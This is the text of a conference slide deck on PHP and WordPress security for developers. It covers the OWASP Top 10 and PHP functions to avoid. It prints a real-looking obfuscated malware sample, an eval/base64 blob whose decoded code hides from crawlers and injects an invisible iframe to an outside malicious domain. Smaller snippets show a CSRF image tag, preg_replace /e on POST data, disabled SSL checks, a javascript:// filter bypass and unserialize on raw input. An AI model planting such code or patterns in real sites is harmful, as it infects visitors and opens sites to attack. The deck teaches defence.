Securing Your Code

Advanced WordPress Security for Developers

http://cfw.bz/wctpa16

Chris Wiegman / @ChrisWiegman

About me

  • Web Developer
  • Past
    • Senior Web Engineer - 10up
    • Developer - iThemes
    • Southern Illinois University
    • St. Edward's University
  • Teacher
  • Educator
About Chris Wiegman

Why do vulnerabilities happen?

PHP's Philosophy

  • Not “Secure By Design”
  • PHP designed to have interpreter do as much as possible before the script was run Lowers barrier of entry (easier on developer)
  • Retrieve information (XML, SSL, etc)
  • Populate namespace
    • $_REQUEST, $_GET, $_POST, etc

OWASP Top 10

About the OWASP Top 10

  • The Open Web Application Security Project
  • Updated every 3 years (last in 2013)
  • Top 10 web application security risks
  • https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project

Injection

  • “Tricking an application into including unintended commands in the data sent to the interpreter.”
  • Typically SQL or JavaScript Injection
  • Interpreter is anything that can interpret data as a command: PHP, JavaScript, SQL, Shell, etc

Broken Auth & Session Management

  • Session ID used to maintain state
    • Just as good as credentials
    • Typically exposed in browser/logs/etc
  • Can compromise user accounts

Cross Site Scripting (XSS)

  • Raw data from attacker sent to your user’s browser
  • Data can be stored in database or files
  • Can steal session, cookies, sensitive data
  • Can redirect to malicious site

Insecure Direct Object References

  • Part of enforcing proper authorization
  • Common mistakes:
    • Exposing object reference for user, application doesn’t check validity
  • Risk: users can access unauthorized files or data

Security Misconfiguration

  • A misconfiguration on the layer underlying the application
  • Impact
    • All ranges of impact depending on the problem
  • Example:
    • location ~ \.php$ {
      	include /etc/nginx/fastcgi_params;
      	fastcgi_pass 127.0.0.1:9000;
      	fastcgi_index index.php;
      	fastcgi_param SCRIPT_FILENAME /var/www/public_html$fastcgi_script_name;
      }
      						

Sensitive Data Exposure

  • The exposure of user credentials or other personal data
  • Membership sites and email addresses particularly vulnerable in WordPress
  • Many sites do not adequately protect user data including credentials and other data.
  • Risk – quite high although often difficult to detect.

Missing Function Level Access Control

  • Protecting critical functions by “hiding” them
  • Most access control is applied in the UI, not in the server
  • Risk – High and easy to exploit

Cross Site Request Forgery

  • When the victim’s browser is tricked into issuing commands to a vulnerable app
  • Caused by browsers automatically including user auth data
    • Session cooke, Basic Auth, IP address, client-side SSL, Windows domain, auth
  • Impact: steal data, initiate transactions
  • Example:
    • 
      							<img src="http://hacker.com/vote/30">
      						

Using Components with Known Vulnerabilities

  • Using components with known problems
  • Common in WordPress with external plugins, themes, code, etc
  • Risk – Depends on the situation but quite common
  • Example – Heartbleed, old versions of any software

Unvalidated Redirects and Forwards

  • Unchecked redirects can send users to phishing or malware sites
  • In WordPress can result from redirects during form submission
  • Often the result of redirecting to a user-supplied location

Classic PHP Vulnerabilities

Register_Globals

  • Allowed super global variable to be accessed
    • $_GET[‘authenticated’] as $authenticated
  • Example
    • 
      if (authenticated_user()) {
      	$authorized = true;
      }
      if ($authorized) {
      	include "/highly/sensitive/data.php”;
      }
      					
  • Attacker goes to /my_script.php?authorized=1
    • What happens?
  • Remedies
    • Make sure it is turned off and always provide default values for variables

Magic Quotes

  • Magic quotes attempt to automatically esc input data (POST/GET/etc)
  • Problems:
    • Performance – not everything needs to be sanitized
    • Portability – what if the new server doesn’t have it?
    • Security – what if the production/new/etc server doesn’t have it?
  • Lazy code!!
  • Remedies
    • Always use proper data sanitization – filter_var, sanitize_text_field, etc

Are These Still Relevant?

  • Deprecated in PHP 5.3
  • Removed in PHP 5.4
  • But...
    • WordPress still supports PHP 5.2 (along with many hosts)
    • Those who learned with magic quotes are at a disadvantage

Some PHP Functions to Avoid


<?php
eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGJvdCA9IEZ
				BTFNFIDsNCiR1c2VyX2FnZW50X3RvX2ZpbHRlciA9IG
				FycmF5KCdib3QnLCdzcGlkZXInLCdzcHlkZXInLCdjc
				mF3bCcsJ3ZhbGlkYXRvcicsJ3NsdXJwJywnZG9jb21v
				JywneWFuZGV4JywnbWFpbC5ydScsJ2FsZXhhLmNvbSc
				sJ3Bvc3RyYW5rLmNvbScsJ2h0bWxkb2MnLCd3ZWJjb2
				xsYWdlJywnYmxvZ3B1bHNlLmNvbScsJ2Fub255bW91c
				2Uub3JnJywnMTIzNDUnLCdodHRwY2xpZW50JywnYnV6
				enRyYWNrZXIuY29tJywnc25vb3B5JywnZmVlZHRvb2x
				zJywnYXJpYW5uYS5saWJlcm8uaXQnLCdpbnRlcm5ldH
				NlZXIuY29tJywnb3BlbmFjb29uLmRlJywncnJycnJyc
				nJyJywnbWFnZW50JywnZG93bmxvYWQgbWFzdGVyJywn
				ZHJ1cGFsLm9yZycsJ3ZsYyBtZWRpYSBwbGF5ZXInLCd
				2dnJraW1zanV3bHkgbDN1Zm1qcngnLCdzem4taW1hZ2
				UtcmVzaXplcicsJ2JkYnJhbmRwcm90ZWN0LmNvbScsJ
				3dvcmRwcmVzcycsJ3Jzc3JlYWRlcicsJ215YmxvZ2xv
				ZyBhcGknKTsNCiRzdG9wX2lwc19tYXNrcyA9IGFycmF
				5KA0KCWFycmF5KCIyMTYuMjM5LjMyLjAiLCIyMTYuMj
				M5LjYzLjI1NSIpLA0KCWFycmF5KCI2NC42OC44MC4wI
				iAgLCI2NC42OC44Ny4yNTUiICApLA0KCWFyc...'));
				

 <?php
error_reporting(0);
$bot = FALSE ;
$user_agent_to_filter =
array('bot','spider','spyder','crawl','validator','slurp','docomo','yandex','mail.ru','alexa.com','postrank.com','htmldoc','webcollage','blogpulse.com','anonymouse.org','12345','httpclient','buzztracker.com','snoopy','feedtools','arianna.libero.it','internetseer.com','openacoon.de','rrrrrrrrr','magent','download master','drupal.org','vlc media player','vvrkimsjuwly l3ufmjrx','szn-image-resizer','bdbrandprotect.com','wordpress','rssreader','mybloglog api');
$stop_ips_masks = array(
    array("216.239.32.0","216.239.63.255"),
    array("64.68.80.0"  ,"64.68.87.255"  ),
    array("66.102.0.0",  "66.102.15.255"),
    array("64.233.160.0","64.233.191.255"),
    array("66.249.64.0", "66.249.95.255"),
    array("72.14.192.0", "72.14.255.255"),
    array("209.85.128.0","209.85.255.255"),
    array("198.108.100.192","198.108.100.207"),
    array("173.194.0.0","173.194.255.255"),
    array("216.33.229.144","216.33.229.151"),
    array("216.33.229.160","216.33.229.167"),
    array("209.185.108.128","209.185.108.255"),
    array("216.109.75.80","216.109.75.95"),
    array("64.68.88.0","64.68.95.255"),
    array("64.68.64.64","64.68.64.127"),
    array("64.41.221.192","64.41.221.207"),
    array("74.125.0.0","74.125.255.255"),
    array("65.52.0.0","65.55.255.255"),
    array("74.6.0.0","74.6.255.255"),
    array("67.195.0.0","67.195.255.255"),
    array("72.30.0.0","72.30.255.255"),
    array("38.0.0.0","38.255.255.255")
    );
$my_ip2long = sprintf("%u",ip2long($_SERVER['REMOTE_ADDR']));
foreach ( $stop_ips_masks as $IPs ) {
	$first_d=sprintf("%u",ip2long($IPs[0])); $second_d=sprintf("%u",ip2long($IPs[1]));
	if ($my_ip2long >= $first_d && $my_ip2long <= $second_d) {$bot = TRUE; break;}
}
foreach ($user_agent_to_filter as $bot_sign){
	if  (strpos($_SERVER['HTTP_USER_AGENT'], $bot_sign) !== false){$bot = true; break;}
}
if (!$bot) {
	echo '<div style="position: absolute; left: -1999px; top: -2999px;"><iframe src="http://lzqqarkl.co.cc/QQkFBwQGDQMGBwYAEkcJBQcEAAcDAAMBBw==" width="2" height="2"></iframe></div>';
}
			

Base64_encode()/Base64_decode()

  • Why would you use it?
    • Transfer binary data over a network
  • Why is it bad?
    • By itself it often isn’t (encode images, etc)
    • Often used by attackers to obfuscate malicious script (so you don’t know what its doing)
    • Banned by some hosts
    • Flagged by some scanners
    • Often not validated
  • Alternatives
    • Use JSON for text data

eval()

  • Why would you use it?
    • To execute remove code
  • Why is it evil?
    • To execute remote code
  • Alternatives
    • Use an established API or similar service
 preg_replace( '/.*/e', $_POST['code'] );

Preg_replace()

  • Why would you use it?
    • To replace text in a given string
  • What is the problem?
    • /e modifier = PREG_REPLACE_EVAL
      • Code is evaluated as PHP
  • Alternatives
    • Notes – Deprecated in PHP 5.5
create_function( ‘$y', $some_string );

Create_function()

  • Why use it?
    • Before anonymous functions it allowed for psuedo anonymous functions (think JavaScript)
    • Call a function as a variable
  • What is the problem?
    • /e modifier = PREG_REPLACE_EVAL
      • It uses eval – same weaknesses as the eval function
  • Alternatives
    • In PHP >=5.3 use a true anonymous function
include( $some_file . ‘.php’ );

include/require()

  • Why use it?
    • Link to other PHP files
  • Why is it evil?
    • Dynamically generated filenames can lead to remote execution
  • Alternatives
    • Hard-code or validate filename before inclusion
  • Also applies to require_once() and include_once()
file_get_contents( ‘https://mysecuresite.com/auth.php’ );

file_get_contents()

  • Why use it?
    • Read from a given file locally or remote
    • Wraps read in fopen/fclose
  • Why is it evil?
    • Subject to man in the middle (MITM) attack
      • Does not verify SSL certificate
    • Only when reading remote/https files
    • Applies to all PHP streams/sockets (not just this function)
  • Alternatives
    • Use WordPress APIs
    • Use cURL (no –with-curlwrappers)

curl_setopt( $ch, CURLOPT_SSL_VERIFYPEER, FALSE );
curl_setopt( $ch, CURLOPT_SSL_VERIFYHOST, FALSE );
			

cURL Options

  • CURLOPT_SSL_VERIFYHOST
    • checks that the cert was issued to the entity you wanted to talk to.
  • CURLOPT_SSL_VERIFYPEER
    • checks that the remote certificate is valid, i.e. that you trust that it was issued by a CA you trust and that it's genuine
  • Why change them (turn them off)?
    • Self-signed cert on dev server
    • Other forced connection
  • Alternatives
    • Fix SSL issues on server you’re connecting to
    • Use letsencrypt.org for dev
 filter_var( ‘javascript://supergoodstuff%0Aalert(1)‘, FILTER_VALIDATE_URL );

file_get_contents()

  • Why use it?
    • To validate input
  • Why is it bad?
    • Not all uses are bad
    • Watch out for FILTER_VALIDATE_URL
      • accepts any alphabetic string followed by ://
        • http://somesite.com validates
        • So does javascript://somecomment%0Aalert(1)
          • Same as javascript:alert(1)
          • //comment seen as comment, %0A is new line
  • Alternatives
    • Use WordPress APIs
    • Validate protocol yourself or use a different validator

<?php
if ( ! isset( $HTTP_RAW_POST_DATA ) ) {
	$HTTP_RAW_POST_DATA = file_get_contents( 'php://input' );
}

ob_start();

$data = base64_decode( $HTTP_RAW_POST_DATA );

if ( $data ) {
	$unserialized_data = @unserialize( $data );
}

			

unserialize()

  • Why use it?
    • Decode serialized data
    • Data transport mechanisms such as XMLRPC and others
  • Why is it evil?
    • Unserialization can result in code being loaded and executed due to object instantiation and autoloading
  • Alternatives
    • Use JSON

Resources

Questions?

Thank You

http://cfw.bz/wctpa16

Chris Wiegman / @ChrisWiegman